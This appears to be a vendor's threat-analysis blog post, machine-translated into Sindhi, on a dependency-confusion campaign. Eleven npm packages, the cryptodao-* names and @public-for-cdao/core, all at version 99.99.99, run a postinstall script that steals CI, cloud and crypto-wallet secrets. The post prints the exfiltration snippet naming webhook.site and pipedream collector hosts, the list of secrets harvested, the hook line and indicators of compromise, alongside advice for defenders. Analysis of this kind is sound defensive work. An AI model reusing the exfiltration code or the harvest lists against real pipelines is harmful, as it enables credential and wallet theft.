CryptoDAO مونجهارو: npm پيڪيجز هارويسٽنگ CI/CD ۽ ڪرپٽو راز

CryptoDAO مونجهارو: يارهن اين پي ايم پيڪيجز، هڪ پيل لوڊ، فصل کڻڻ CI/CD ۽ ڪرپٽو-والٽ راز

TL، ڊاڪٽر

2026-06-17 تي، هڪ واحد اين پي ايم اڪائونٽ شايع ٿيو يارهن پيڪيجز جيڪي هڪ مقصد ۽ هڪ پيل لوڊ شيئر ڪن ٿا. انهن مان ڏهه کڻندا آهن cryptodao- اڳياڙي (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); يارهين اسڪوپ ٿيل آهي @public-for-cdao/core. هر هڪ نسخي تي شايع ٿيو هو 99.99.99 ۽ هڪ بائيٽ جي برابر ٻيڙي موڪلي ٿو recon.js جيڪو هلندو رهي ٿو postinstall.

نالا ئي ٻڌائين ٿا. اهي هڪ crypto/DAO پروجيڪٽ جي خانگي ٽول چين جي اندروني بلڊنگ بلاڪ وانگر پڙهن ٿا. هڪ مصنوعي طور تي اعليٰ ورزن تي عوامي npm رجسٽري ۾ شايع ٿيل، اهي هڪ بلڊ جي انتظار ۾ ويٺا آهن. pipeline جيڪو انهن نالن کي حل ڪرڻ لاءِ ترتيب ڏنل آهي ۽ جيڪو پرائيويٽ رجسٽري کان اڳ - يا ان جي بدران - پبلڪ اين پي ايم تائين پهچي ٿو. هي آهي انحصار جي مونجهارو، ۽ پيل لوڊ بلڪل ان جاءِ تي ترتيب ڏنل آهي جتي اهو لينڊ ڪرڻ جي اميد رکي ٿو: CI/CD ڀائيواري.

جڏهن postinstall باهه، recon.js ميزبان جي تفصيل گڏ ڪري ٿو، تقريبن صاف ڪري ٿو چاليهه ڪلائوڊ، سي آءِ، ۽ ڪرپٽو-والٽ ماحولياتي متغير، ڪو به پڙهي ٿو .env فائلون ڳولي سگهن ٿيون ۽ ڳجهي لائينن کي لفظي طور تي اڳتي وڌائين ٿيون، پوءِ بنڊل کي ٻن ڪليڪٽرن ڏانهن منتقل ڪري ٿي - webhook.site ۽ هڪ پائپڊريم اينڊ پوائنٽ — TLS سرٽيفڪيٽ جي تصديق کي غير فعال ڪرڻ سان. هڪ ڪاپي پڻ هيٺ لکيل آهي /tmp.

شدت: تيزمتاثر ٿيل ماحولياتي نظام: نيٺ. لکڻ جي وقت سڀئي يارهن پيڪيجز لائيو هئا.

حملي جي اناٽومي

ميڪانيزم ۾ چار حرڪت ڪندڙ حصا آهن، ۽ انهن مان ڪو به هڪ دفعو توهان کي خبر آهي ته انهن مان ڪو به نازڪ نه آهي پيڪيج جي نالي کان هڪ پرت اڳيان ڏسو.

1. نسخي جي افراط زر کي حل ڪندڙ لالچ جي طور تي. هر پيڪيج ورجن جو اعلان ڪري ٿو 99.99.99. انحصار مونجهارو تڏهن ڪم ڪندو آهي جڏهن هڪ پيڪيج مئنيجر، هڪ لاءِ پڇيو اندروني نالو، عوامي رجسٽري کي پڻ چيڪ ڪري ٿو ۽ ان جو اعليٰ ترين نسخو چونڊيندو آهي ڳولي ٿو. ڪيريٽ يا وائلڊ ڪارڊ رينج لاءِ npm جو ڊفالٽ انتخاب آهي هر ترتيب ڏنل ذريعن ۾ سڀ کان وڌيڪ اطمينان بخش نسخو؛ جيڪڏهن ٻئي هڪ خانگي رجسٽري ۽ پبلڪ اين پي ايم ساڳئي نالي لاءِ جواب، وڏو ورزن نمبر کٽي ٿو. A 99.99.99 ڪنهن به منصوبي جي حقيقي اندروني نسخي کان گهڻو اڳتي آهي پهچي ويو، تنهنڪري هڪ حل ڪندڙ جيڪو خانگي ذريعن سان پن نه ڪيو ويو آهي اهو ترجيح ڏئي ٿو عوامي - ۽ هن صورت ۾، دشمن - ڪاپي. آپريٽر کي ڄاڻڻ جي ضرورت ناهي ٽارگيٽ جا حقيقي نسخو نمبر؛ هڪ بيوقوف وڌ کان وڌ چونڊڻ هميشه ٽائي جي ضمانت ڏئي ٿو پنهنجو رستو ٽوڙي ٿو.

2. انسٽال ڪرڻ کان پوءِ ٽرگر. package.json انسٽال ڪرڻ لاءِ پيل لوڊ کي تار ڪري ٿو حياتياتي

{   "scripts": { "postinstall": "node recon.js" } }

پيڪيج جي درآمد جي ڪا به ضرورت ناهي. صرف ان کي انسٽال ڪرڻ - جيڪو هڪ CI pipeline خودڪار طريقي سان هلندو آهي - هلندو آهي ريڪن.جي ايس.

3. هڪ وسيع راز جي ڳولا. ريڪن.جي ايس مرحلن ۾ نتيجن جي صف کي گڏ ڪري ٿو:

  • ميزبان تناظر: ميزبان نالو، پليٽ فارم ۽ رليز، فن تعمير، صارف نالو، ڪم ڪندڙ ڊاريڪٽري.
  • ماحولياتي متغير: اهو تقريباً چاليهه نالن ۽ رڪارڊن جي هڪ مقرر فهرست کي ورجائي ٿو. جيڪي به سيٽ ٿيل آهن. فهرست ظاهر ڪري رهي آهي - اهو عام CI ٽوڪن کي جوڙي ٿو (سي آءِ_جاب_ٽوڪن, سي آءِ_رجسٽري_پاس ورڊ, گِٽ ليب_ايڪس_ٽوڪن) ۽ ڪڪر سندون (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_ٽوڪن) رجسٽري ۽ ڪنٽينر رازن سان (اين پي ايم_ٽوڪن, ڊوڪر پاسورڊ, هاربر پاسورڊ) ۽ هڪ واضح طور تي ڪرپٽو-ذائقي وارو ڪلسٽر:  پرائيويٽ_ڪي, يادگيري, ٻج_جملو, انفورا_اي پي آءِ_ڪي, ڪيميا_API_KEY, اي ٽي ايڇ آر پي سي, بي ايس سي_آر پي سي. رڪارڊ ٿيل قدر پهرين 50 اکرن تائين ڪٽيا ويا آهن.
  • .env فائلون: اهو رستن جي فهرست جي جاچ ڪري ٿو - .env, ../.env, /ايپ/.اين وي, /ايپ/بئڪ اينڊ/.env, /ايپ/بوٽ/.اين وي, /home/gitlab-runner/.env, /روٽ/.env, ۽ پيداوار/ترقي مختلف قسمون - ۽ ڪنهن به فائل لاءِ جيڪا موجود آهي، اهو مواد کي ملندڙ لائنن تي فلٽر ڪري ٿو چاٻي|راز|ٽوڪن|پاس|پرائيويٽ|ميمونيڪس ۽ انهن لائينن کي **مڪمل طور تي، اڻ ڪٽيل** نتيجن ۾ ڌڪي ٿو.
  • بلڊ-هسٽ ڪانٽيڪسٽ: اهو پهرين 20 داخلائن کي لسٽ ڪري ٿو /ٺاهي ٿو/, /گهر/گٽ ليب-رنر/بلڊز/, /var/lib/gitlab-رنر/، ۽ /ٽي ايم پي/.

رستي جي فهرست ۽ متغير فهرست GitLab رنرز ڏانهن وزن ٿيل آهن، جيڪي اشارو ڪن ٿا ڊولپر جي بدران خود ميزباني ڪيل CI انفراسٽرڪچر تي پيل لوڊ ليپ ٽاپ. فصل جي فهرست کي درجي جي لحاظ کان گروپ ڪرڻ سان گهربل ترسيل کي صاف بڻائي ٿو:

زمرو متغير / رستا پهچي ويا
CI/CD سڃاڻپ ۽ پهچائڻ CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY
ڪڪر AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN
رجسٽري ۽ ڪنٽينر NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD
ڊيٽا اسٽور DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD
ڪرپٽو / بلاڪچين PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC
پيغام SLACK_TOKEN, DISCORD_TOKEN
ڊسڪ تي .env خاندان + /home/gitlab-runner/.env, /root/.env, /app/**/.env؛ ڊاريڪٽري لسٽنگ جون /builds/, /var/lib/gitlab-runner/

ڪرپٽو ڪلسٽر اهو حصو آهي جيڪو هن کي هڪ عام CI-سيڪريٽ کان ڌار ڪري ٿو. سوئيپ: والٽ سيڊ جملا ۽ دستخطي چاٻيون صرف هڪ جي ماحول ۾ ظاهر ٿين ٿيون بلاڪچين پروجيڪٽ، ۽ اهي سڌو سنئون نقشي تي ڪرپٽوڊائو-/سائين/ٺيڪيدار ڪيريئرز جو نالو ڏيڻ.

4. تصديق سان گڏ ٻٽي ايڪسفلٽريشن بند. گڏ ڪيل صف آهي سيريل ڪيو ويو ۽ ٻن منزلن تي پوسٽ ڪيو ويو:

const targets = [   { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' },   { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 })

رد ڪريو غير مجاز: غلط ٻاهر نڪرندڙن لاءِ TLS سرٽيفڪيٽ چيڪ بند ڪري ٿو ڪالون. ساڳيو ڊيٽا stdout تي پرنٽ ڪيو ويندو آهي (تنهنڪري اهو CI جاب لاگز ۾ پڻ اچي ٿو) ۽ ڏانهن لکيو ويو /tmp/.npm_recon_ .json. غلطيون خاموشيءَ سان نگلي وينديون آهن، تنهنڪري هڪ ناڪام موڪلڻ سان انسٽال آئوٽ پُٽ ۾ هڪ کان وڌيڪ ڪو به نشان نه ٿو رهي. [تفصيل] تي نصب ٿيل ليڪ.

فائل ۾ هڪ اهم تبصرو ان کي "انحصار مونجهارو" جي طور تي بيان ڪري ٿو. "ريڪنيسنس پيل لوڊ." ماحولياتي قدرن کي 50 اکرن تائين گهٽائڻ سان تصور جي ثبوت جي شڪل. جيڪو ان کي صرف موجودگي واري روشني جي اڳيان منتقل ڪري ٿو اهو آهي .env هٿ کڻڻ: ڳجهي لائينون مڪمل طور تي اڳتي وڌيون ويون آهن، ۽ منزلون ٻه ڪم ڪندڙ، حملي آورن جي ڪنٽرول ۾ آيل ڪليڪٽر آهن، هڪ سنڪ جي بدران جيڪو صرف ڳڻپ ڪري ٿو هٽس.

مقرر وقت

اشاعت جو نمونو هڪ واحد اسڪرپٽ ٿيل پش جو دستخط آهي، يارهن جو نه. آزاد اپلوڊ.

وقت (UTC، 2026-06-17) واقعي
03:24:58 cryptodao-bot@99.99.99 شايع ٿيل
03:25:01 cryptodao-signer@99.99.99
03:25:04 cryptodao-deploy@99.99.99
03:25:08 cryptodao-backend@99.99.99
03:25:11 cryptodao-contracts@99.99.99
03:25:14 cryptodao-sdk@99.99.99
03:25:18 cryptodao-utils@99.99.99
03:25:21 cryptodao-core@99.99.99
03:25:24 cryptodao-types@99.99.99
03:25:27 cryptodao-config@99.99.99
03:49:59 @public-for-cdao/core@99.99.99 — دائري ۾ ورجن، ~ 24 منٽ بعد

ڏهه پيڪيج 29 سيڪنڊن جي ونڊو اندر نڪري ويا، تقريبن هر ٽن سيڪنڊن ۾ هڪ. اسڪوپڊ @عوامي-سي ڊي اي او/ڪور لاءِ لڳ ڀڳ 24 منٽن کان پوءِ - هڪ سيڪنڊ ساڳئي ٽارگيٽ لاءِ نالو ڏيڻ جي ڪنوينشن، جيڪڏهن استعمال ڪندڙ منصوبو حوالو ڏئي ٿو اندروني ٽول چين کي ننگن نالن جي بجاءِ هڪ دائري هيٺ.

سمجهوتي جا اشارا

قسم اشارو
کلیکٹر hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd
کلیکٹر hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/
ٿلهو لڳايو postinstall: node recon.js
ڇڏيل فائل /tmp/.npm_recon_<timestamp>.json
لاگ مارڪر [recon] <pkg>@<ver> installed on <hostname> (سي آءِ لاگز ۾ stdout)
رويي rejectUnauthorized: false انسٽاليشن دوران آئوٽ بائونڊ HTTPS تي
پيلي لوڊ recon.js، سڀني يارهن پيڪيجز ۾ هڪجهڙا (هڪ شيئر ٿيل بلڊ)
نسخو 99.99.99 هر پئڪيج تي
پيڪيجز cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (سڀ 99.99.99)
ناشر aduljune / aduljune@proton.me (اي ميل جي تصديق نه ٿي، ڪو به ڳنڍيل ذريعو ذخيرو ناهي)

 منسوب ۽ مشاهدو ڪيل رويو

ڪلسٽر بابت سڀ ڪجهه هڪ هٿ ڏانهن اشارو ڪري ٿو. سڀئي يارهن پيڪيج شايع ڪيا ويا. اين پي ايم اڪائونٽ ذريعي ايڊولجون (aduljune@proton.me، هڪ غير تصديق ٿيل پتو جنهن ۾ ڪوبه نه هجي ڳنڍيل سورس ريپوزٽري)، 25 منٽن جي عرصي اندر، ساڳئي وقت 99.99.99 نسخو موڪلڻ a ريڪن.جي ايس جن جو مواد هر هڪ ۾ بائيٽ في بائيٽ هڪجهڙو آهي پيڪيج (MD5 سڀني يارهن ڪڍيل ڪاپين ۾ ملندو آهي). اهو هڪ پيل لوڊ آهي نالن جي فهرست تي مُهر لڳل، آزاد ڪوڊ ٻيهر استعمال نه.

نالي جي فهرست گهربل هدف جي وضاحت ڪري ٿي. ڪرپٽوڊائو-* ۽ cdao بيان ڪريو هڪ crypto/DAO پروجيڪٽ جو خانگي ماڊيول لي آئوٽ، ۽ پيل لوڊ جي هارويسٽ لسٽ آئينا جيڪي اندازو لڳائين ٿا: عام سي آءِ ۽ ڪلائوڊ رازن سان گڏ، اهو خاص طور تي تائين پهچي ٿو پرائيويٽ_ڪي, يادگيري, ٻج_جملو، ۽ ايٿيريم/بي ايس سي آر پي سي ۽ فراهم ڪندڙ چاٻيون. جي .env ڳولا جا رستا ۽ ڊاريڪٽري لسٽنگ GitLab-رنر آهن مخصوص. مشاهدي وارو اثر اهو آهي ته ڪو به pipeline انهن کي انسٽال ڪرڻ لاءِ ٺڳيو ويو نالا ان جي CI ٽوڪن، ڪلائوڊ ڪيز، ۽ آن ڊسڪ کي اڳتي وڌائيندا .env راز - ۽، لاءِ هڪ بلاڪچين پروجيڪٽ، ان جو والٽ مواد - ٻن ٽئين پارٽي ڪليڪٽرن ڏانهن.

اسان ڪو به دعويٰ نٿا ڪريون ته اڪائونٽ ڪير هلائي ٿو يا انهن ان سان ڇا ڪرڻ جو منصوبو ٺاهيو آهي ڊيٽا. حقيقتون جيڪي پاڻ تي بيٺل آهن: نالا هڪ خاص قسم کي نشانو بڻائين ٿا اندروني ٽول چين، پيل لوڊ حقيقي ڳجهن قدرن کي پڙهي ۽ منتقل ڪري ٿو، ۽ انفراسٽرڪچر فعال هو.

اثر، رجحانات، ۽ محافظ رهنمائي

انحصار جي مونجهارو اثرائتو رهي ٿو ڇاڪاڻ ته اهو حل ڪندڙ رويي جو استحصال ڪري ٿو، نه ته a ڪنهن به پيڪيج ۾ ڪمزوري. هتي ڪيريئر معمولي آهي - يارهن تقريبن خالي پيڪيجز - پر ڌماڪي جو ريڊيس ڪجهه به آهي pipeline غلطيءَ سان عوامي اين پي ايم کي ترجيح ڏئي ٿو اندروني نالي لاءِ. سي آءِ رنر اهو ٿيڻ لاءِ بدترين جڳهه آهن: اهي رکن ٿا بلڪل ٽوڪن ۽ .env فائلون جيڪي هي پيل لوڊ پڙهي ٿو، ۽ اهي انسٽال ڪن ٿا انحصار غير انٽرايڪٽو طور تي، تنهنڪري هڪ پوسٽ انسٽال ڪنهن جي ڏسڻ کانسواءِ ڊوڙي ٿو.

هي ڪلسٽر هڪ اهڙي نموني سان پڻ ٺهڪي اچي ٿو جيڪو اسان ڏسندا رهون ٿا: انسٽال-ٽائيم پيل لوڊ جيڪي موجود آهن حقيقي سندون گڏ ڪرڻ دوران "تحقيق" يا "جاسوسي" جي طور تي. ليبل فائل ۾ رنر تي ڪوڊ ڇا ڪندو آهي اهو تبديل نٿو ٿئي. ٻه ڊيزائن چونڊون رکيون وينديون آهن سرگرمي خاموش: هر نيٽ ورڪ ۽ فائل سسٽم آپريشن هڪ ۾ لپي وئي آهي استثنا هينڊلر جيڪو غلطين کي رد ڪري ٿو، تنهنڪري هڪ بلاڪ ٿيل موڪل يا هڪ گم ٿيل فائل ڪو به تشخيصي نتيجو پيدا نٿو ڪري، ۽ صرف هڪ ئي شيءِ جيڪا ڇپيل آهي اها هڪ معصوم آهي [recon] ... انسٽال ٿيل لائن جيڪا عام انسٽال چيٽر ۾ ملائي ٿي. جو استعمال ويب هُڪ.سائيٽ ۽ پائپڊريم پڻ عمدي سهولت آهي - ٻئي مفت آهن، فوري طور تي درخواست-ڪيپچر سروسز فراهم ڪيون ويون آهن، تنهنڪري آپريٽر کي ڪنهن به سرور جي ضرورت ناهي انهن جا پنهنجا ۽ منزلون ايگريس لاگ ۾ عام SaaS هوسٽ نالن وانگر نظر اچن ٿيون.

معاشيات اهي آهن جيڪي هن کي هڪ محافظ جي ڌيان جي لائق بڻائين ٿيون جيتوڻيڪ ڪيريئر ڪوڊ معمولي آهي. يارهن نالا رجسٽر ڪرڻ ۾ ڪا به قيمت ناهي، پيل لوڊ هڪ آهي فائل يارهن ڀيرا ڪاپي ڪئي وئي، ۽ پيڪيج مئنيجر سڀ عمل درآمد ڪندو آهي. هڪ سنگل غلط ترتيب ڏنل pipeline ڪٿي به جيڪو انهن مان ڪنهن هڪ نالي کي استعمال ڪري ٿو اهو پوري لاءِ ادا ڪري ٿو آپريشن.

محافظن لاءِ ٺوس قدم:

  • اندروني اسڪوپس کي پنهنجي خانگي رجسٽري ۾ پن ڪريو. اندروني نالن لاءِ npm ترتيب ڏيو
     ۽ اسڪوپس صرف توهان جي رجسٽري جي خلاف حل ڪن ٿا (اسڪوپ ٿيل .npmrc رجسٽري ميپنگ،
    يا هڪ پراڪسي جيڪا ڪڏهن به ملڪيت واري نيم اسپيس لاءِ پبلڪ اين پي ايم ۾ نه اچي). پنهنجا پبلڪ اسڪوپ نالا محفوظ ڪريو ته جيئن ڪو ٻيو انهن کي رجسٽر نه ڪري سگهي.
  • Commit لاڪ فائلون ۽ انسٽال ڪريو –ignore-scripts سان سي آءِ ۾ جتي ممڪن هجي، يا انحصار جي ننڍڙي سيٽ جي جانچ ڪريو جن کي حقيقي طور تي اسڪرپٽ انسٽال ڪرڻ جي ضرورت آهي.  recon.js نه ٿو هلي سگهي جيڪڏهن پوسٽ انسٽال عمل نه ڪيو ويو آهي.
  • اندروني نظر ايندڙ نالي جي 99.99.99 (يا ٻي بيوقوفيءَ سان وڌيڪ) ورزن کي سمجهيو. ڳاڙهي جهنڊي وانگر انحصار جي جائزي ۽ رجسٽري نگراني ۾.
  • انسٽاليشن وقت نڪرڻ تي الرٽ. A پوسٽ انسٽال جيڪو هڪ آئوٽ بائونڊ HTTPS کوليندو آهي ڪنيڪشن - خاص طور تي سرٽيفڪيٽ جي تصديق بند ٿيل سان - ڏانهن webhook.site، Pipedream، يا ساڳين درخواستن کي پڪڙڻ واريون خدمتون نيٽ ورڪ جي ڪناري تي بلاڪ ڪرڻ ۽ بلڊ لاگز ۾ نشان لڳائڻ جي لائق آهن.
  • شين جي ڳولا ڪريو. ڊوڙندڙن جي جانچ ڪريو /tmp/.npm_recon_*.json ۽ لاء [recon] ... تازو CI لاگ ۾ ... مارڪر تي نصب ٿيل. جيڪڏهن ملي وڃي، هر هڪ کي گھمايو ان جي سامهون آيل سند pipeline — CI ٽوڪن، ڪلائوڊ ڪيز، رجسٽري ٽوڪن، ۽ ماحول ۾ موجود ڪنهن به والٽ سيڊ يا پرائيويٽ ڪيز يا .env فائلون.

حوالا

لکڻ جي وقت تي هن ڪلسٽر تي ڪا به ٻاهرين رپورٽنگ موجود نه هئي؛ تجزيو مٿي ڏنل سڌو سنئون شايع ٿيل پيڪيج جي مواد تي ٻڌل آهي

اسڪا-ٽولز-سافٽ ويئر-ڪمپوزيشن-تجزيو-ٽولز
پنهنجي سافٽ ويئر خطرن کي ترجيح ڏيو، درست ڪريو، ۽ محفوظ ڪريو
پنهنجو مفت اڪائونٽ حاصل ڪريو.
ڪنهن به ڪريڊٽ ڪارڊ جي ضرورت نه آهي.

پنهنجي سافٽ ويئر ڊولپمينٽ ۽ پهچائڻ کي محفوظ بڻايو

زائيگيني پراڊڪٽ سوٽ سان